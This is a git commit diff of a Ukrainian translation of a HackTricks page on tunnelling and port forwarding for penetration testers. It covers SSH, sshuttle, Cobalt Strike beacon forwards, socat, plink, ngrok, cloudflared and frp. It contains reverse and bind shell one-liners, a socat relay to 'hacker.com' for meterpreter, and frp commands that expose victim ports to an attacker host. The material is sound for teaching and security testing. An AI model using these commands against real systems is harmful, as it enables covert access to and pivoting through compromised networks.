mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-hacking/tunneling-and-port-forwarding.md'] to u
This commit is contained in:
		
							parent
							
								
									d0979776e1
								
							
						
					
					
						commit
						98c1731254
					
				@ -5,7 +5,7 @@
 | 
			
		||||
## Nmap tip
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> **ICMP** та **SYN** сканування не можуть бути тунельовані через проксі socks, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
 | 
			
		||||
> **ICMP** та **SYN** сканування не можуть бути тунельовані через socks проксі, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
 | 
			
		||||
 | 
			
		||||
## **Bash**
 | 
			
		||||
 | 
			
		||||
@ -55,7 +55,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
 | 
			
		||||
```bash
 | 
			
		||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
 | 
			
		||||
```
 | 
			
		||||
### Зворотне Портове Перенаправлення
 | 
			
		||||
### Зворотне перенаправлення портів
 | 
			
		||||
 | 
			
		||||
Це корисно для отримання зворотних шелів з внутрішніх хостів через DMZ до вашого хоста:
 | 
			
		||||
```bash
 | 
			
		||||
@ -87,10 +87,14 @@ iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
 | 
			
		||||
```
 | 
			
		||||
route add -net 10.0.0.0/16 gw 1.1.1.1
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> **Безпека – Атака Terrapin (CVE-2023-48795)**
 | 
			
		||||
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені ( **OpenSSH ≥ 9.6/LibreSSH 6.7** ) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі. citeturn4search0
 | 
			
		||||
 | 
			
		||||
## SSHUTTLE
 | 
			
		||||
 | 
			
		||||
Ви можете **tunnel** через **ssh** весь **трафік** до **підмережі** через хост.\
 | 
			
		||||
Наприклад, пересилання всього трафіку, що йде до 10.10.10.0/24
 | 
			
		||||
Ви можете **тунелювати** через **ssh** весь **трафік** до **підмережі** через хост.\
 | 
			
		||||
Наприклад, перенаправлення всього трафіку, що йде до 10.10.10.0/24
 | 
			
		||||
```bash
 | 
			
		||||
pip install sshuttle
 | 
			
		||||
sshuttle -r user@host 10.10.10.10/24
 | 
			
		||||
@ -134,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
 | 
			
		||||
 | 
			
		||||
### SOCKS proxy
 | 
			
		||||
 | 
			
		||||
Відкрийте порт на teamserver, який слухає на всіх інтерфейсах, що може бути використаний для **маршрутизації трафіку через beacon**.
 | 
			
		||||
Відкрийте порт на сервері команди, який слухає на всіх інтерфейсах, що може бути використаний для **маршрутизації трафіку через маяк**.
 | 
			
		||||
```bash
 | 
			
		||||
beacon> socks 1080
 | 
			
		||||
[+] started SOCKS4a server on: 1080
 | 
			
		||||
@ -145,21 +149,21 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
 | 
			
		||||
### rPort2Port
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> У цьому випадку **порт відкритий на хості-мітці**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
 | 
			
		||||
> У цьому випадку **порт відкритий на хості маяка**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
 | 
			
		||||
```bash
 | 
			
		||||
rportfwd [bind port] [forward host] [forward port]
 | 
			
		||||
rportfwd stop [bind port]
 | 
			
		||||
```
 | 
			
		||||
Зверніть увагу:
 | 
			
		||||
 | 
			
		||||
- Зворотний портовий переказ Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
 | 
			
		||||
- Зворотний портовий переадресатор Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
 | 
			
		||||
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
 | 
			
		||||
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
 | 
			
		||||
- **Привілеї адміністратора не потрібні** для створення зворотних портових переадресаторів на високих портах.
 | 
			
		||||
 | 
			
		||||
### rPort2Port локальний
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server), а звідти до вказаного хосту:порту.
 | 
			
		||||
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хоста:порту.
 | 
			
		||||
```bash
 | 
			
		||||
rportfwd_local [bind port] [forward host] [forward port]
 | 
			
		||||
rportfwd_local stop [bind port]
 | 
			
		||||
@ -263,7 +267,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
 | 
			
		||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
 | 
			
		||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
 | 
			
		||||
```
 | 
			
		||||
### Зворотний шелл
 | 
			
		||||
### Реверс-шелл
 | 
			
		||||
```bash
 | 
			
		||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
 | 
			
		||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
 | 
			
		||||
@ -286,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
 | 
			
		||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
 | 
			
		||||
#Execute the meterpreter
 | 
			
		||||
```
 | 
			
		||||
Ви можете обійти **неавторизований проксі**, виконавши цю команду замість останньої в консолі жертви:
 | 
			
		||||
Ви можете обійти **неавторизований проксі**, виконавши цей рядок замість останнього в консолі жертви:
 | 
			
		||||
```bash
 | 
			
		||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
 | 
			
		||||
```
 | 
			
		||||
@ -322,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
 | 
			
		||||
 | 
			
		||||
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
 | 
			
		||||
 | 
			
		||||
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш ssh сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
 | 
			
		||||
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
 | 
			
		||||
```bash
 | 
			
		||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
 | 
			
		||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
 | 
			
		||||
@ -354,13 +358,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
 | 
			
		||||
# Load SocksOverRDP.dll using regsvr32.exe
 | 
			
		||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
 | 
			
		||||
```
 | 
			
		||||
Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **слухати** на **127.0.0.1:1080**.
 | 
			
		||||
Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **прослуховувати** на **127.0.0.1:1080**.
 | 
			
		||||
 | 
			
		||||
**Підключіться** через **RDP** та завантажте і виконайте на машині жертви бінарний файл `SocksOverRDP-Server.exe`:
 | 
			
		||||
```
 | 
			
		||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
 | 
			
		||||
```
 | 
			
		||||
Тепер підтвердіть на вашій машині (атакуючий), що порт 1080 слухає:
 | 
			
		||||
Тепер підтвердіть на вашій машині (атакуючого), що порт 1080 слухає:
 | 
			
		||||
```
 | 
			
		||||
netstat -antb | findstr 1080
 | 
			
		||||
```
 | 
			
		||||
@ -369,10 +373,10 @@ netstat -antb | findstr 1080
 | 
			
		||||
## Проксування Windows GUI додатків
 | 
			
		||||
 | 
			
		||||
Ви можете налаштувати Windows GUI додатки для роботи через проксі, використовуючи [**Proxifier**](https://www.proxifier.com/).\
 | 
			
		||||
У **Профіль -> Проксі-сервери** додайте IP-адресу та порт SOCKS-сервера.\
 | 
			
		||||
У **Профіль -> Правила проксування** додайте назву програми, яку потрібно проксувати, та з'єднання з IP-адресами, які ви хочете проксувати.
 | 
			
		||||
У **Profile -> Proxy Servers** додайте IP-адресу та порт SOCKS сервера.\
 | 
			
		||||
У **Profile -> Proxification Rules** додайте назву програми для проксування та з'єднання з IP-адресами, які ви хочете проксувати.
 | 
			
		||||
 | 
			
		||||
## Обхід проксі NTLM
 | 
			
		||||
## Обхід NTLM проксі
 | 
			
		||||
 | 
			
		||||
Раніше згадуваний інструмент: **Rpivot**\
 | 
			
		||||
**OpenVPN** також може обійти це, встановивши ці параметри у файлі конфігурації:
 | 
			
		||||
@ -455,7 +459,7 @@ Proxychains перехоплює виклик `gethostbyname` libc і тунел
 | 
			
		||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
 | 
			
		||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
 | 
			
		||||
 | 
			
		||||
Для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів потрібен root доступ в обох системах.
 | 
			
		||||
Root потрібен в обох системах для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів.
 | 
			
		||||
```bash
 | 
			
		||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
 | 
			
		||||
./hans -f -c <server_ip> -p P@ssw0rd -v
 | 
			
		||||
@ -480,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
 | 
			
		||||
## ngrok
 | 
			
		||||
 | 
			
		||||
[**ngrok**](https://ngrok.com/) **є інструментом для експонування рішень в Інтернеті в один рядок команди.**\
 | 
			
		||||
_Експоновані URI виглядають так:_ **UID.ngrok.io**
 | 
			
		||||
_Експозиційні URI виглядають так:_ **UID.ngrok.io**
 | 
			
		||||
 | 
			
		||||
### Встановлення
 | 
			
		||||
 | 
			
		||||
@ -511,12 +515,12 @@ _Також можливо додати аутентифікацію та TLS, 
 | 
			
		||||
./ngrok http file:///tmp/httpbin/
 | 
			
		||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
 | 
			
		||||
```
 | 
			
		||||
#### Перехоплення HTTP викликів
 | 
			
		||||
#### Sniffing HTTP calls
 | 
			
		||||
 | 
			
		||||
_Корисно для XSS, SSRF, SSTI ..._\
 | 
			
		||||
Безпосередньо з stdout або в HTTP інтерфейсі [http://127.0.0.1:4040](http://127.0.0.1:4000).
 | 
			
		||||
 | 
			
		||||
#### Тунелювання внутрішнього HTTP сервісу
 | 
			
		||||
#### Tunneling internal HTTP service
 | 
			
		||||
```bash
 | 
			
		||||
./ngrok http localhost:8080 --host-header=rewrite
 | 
			
		||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
 | 
			
		||||
@ -541,6 +545,71 @@ httpstatic:
 | 
			
		||||
proto: http
 | 
			
		||||
addr: file:///tmp/httpbin/
 | 
			
		||||
```
 | 
			
		||||
## Cloudflared (Cloudflare Tunnel)
 | 
			
		||||
 | 
			
		||||
Демон `cloudflared` від Cloudflare може створювати вихідні тунелі, які відкривають **локальні TCP/UDP сервіси** без необхідності вхідних правил брандмауера, використовуючи край Cloudflare як місце зустрічі. Це дуже зручно, коли вихідний брандмауер дозволяє лише HTTPS-трафік, але вхідні з'єднання заблоковані.
 | 
			
		||||
 | 
			
		||||
### Quick tunnel one-liner
 | 
			
		||||
```bash
 | 
			
		||||
# Expose a local web service listening on 8080
 | 
			
		||||
cloudflared tunnel --url http://localhost:8080
 | 
			
		||||
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080
 | 
			
		||||
```
 | 
			
		||||
### SOCKS5 півот
 | 
			
		||||
```bash
 | 
			
		||||
# Turn the tunnel into a SOCKS5 proxy on port 1080
 | 
			
		||||
cloudflared tunnel --url socks5://localhost:1080 --socks5
 | 
			
		||||
# Now configure proxychains to use 127.0.0.1:1080
 | 
			
		||||
```
 | 
			
		||||
### Постійні тунелі з DNS
 | 
			
		||||
```bash
 | 
			
		||||
cloudflared tunnel create mytunnel
 | 
			
		||||
cloudflared tunnel route dns mytunnel internal.example.com
 | 
			
		||||
# config.yml
 | 
			
		||||
Tunnel: <TUNNEL-UUID>
 | 
			
		||||
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
 | 
			
		||||
url: http://127.0.0.1:8000
 | 
			
		||||
```
 | 
			
		||||
Запустіть з'єднувач:
 | 
			
		||||
```bash
 | 
			
		||||
cloudflared tunnel run mytunnel
 | 
			
		||||
```
 | 
			
		||||
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями – використовуйте контейнери або прапор `--user`, коли це можливо. citeturn1search0
 | 
			
		||||
 | 
			
		||||
## FRP (Швидкий зворотний проксі)
 | 
			
		||||
 | 
			
		||||
[`frp`](https://github.com/fatedier/frp) – це активно підтримуваний зворотний проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – додатковий бінарний файл не потрібен.
 | 
			
		||||
 | 
			
		||||
### Класичний зворотний TCP тунель
 | 
			
		||||
```bash
 | 
			
		||||
# Attacker / server
 | 
			
		||||
./frps -c frps.toml            # listens on 0.0.0.0:7000
 | 
			
		||||
 | 
			
		||||
# Victim
 | 
			
		||||
./frpc -c frpc.toml            # will expose 127.0.0.1:3389 on frps:5000
 | 
			
		||||
 | 
			
		||||
# frpc.toml
 | 
			
		||||
serverAddr = "attacker_ip"
 | 
			
		||||
serverPort = 7000
 | 
			
		||||
 | 
			
		||||
[[proxies]]
 | 
			
		||||
name       = "rdp"
 | 
			
		||||
type       = "tcp"
 | 
			
		||||
localIP    = "127.0.0.1"
 | 
			
		||||
localPort  = 3389
 | 
			
		||||
remotePort = 5000
 | 
			
		||||
```
 | 
			
		||||
### Використання нового SSH шлюзу (без бінарного frpc)
 | 
			
		||||
```bash
 | 
			
		||||
# On frps (attacker)
 | 
			
		||||
sshTunnelGateway.bindPort = 2200   # add to frps.toml
 | 
			
		||||
./frps -c frps.toml
 | 
			
		||||
 | 
			
		||||
# On victim (OpenSSH client only)
 | 
			
		||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
 | 
			
		||||
```
 | 
			
		||||
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для живого використання ресурсів. citeturn2search1
 | 
			
		||||
 | 
			
		||||
## Інші інструменти для перевірки
 | 
			
		||||
 | 
			
		||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user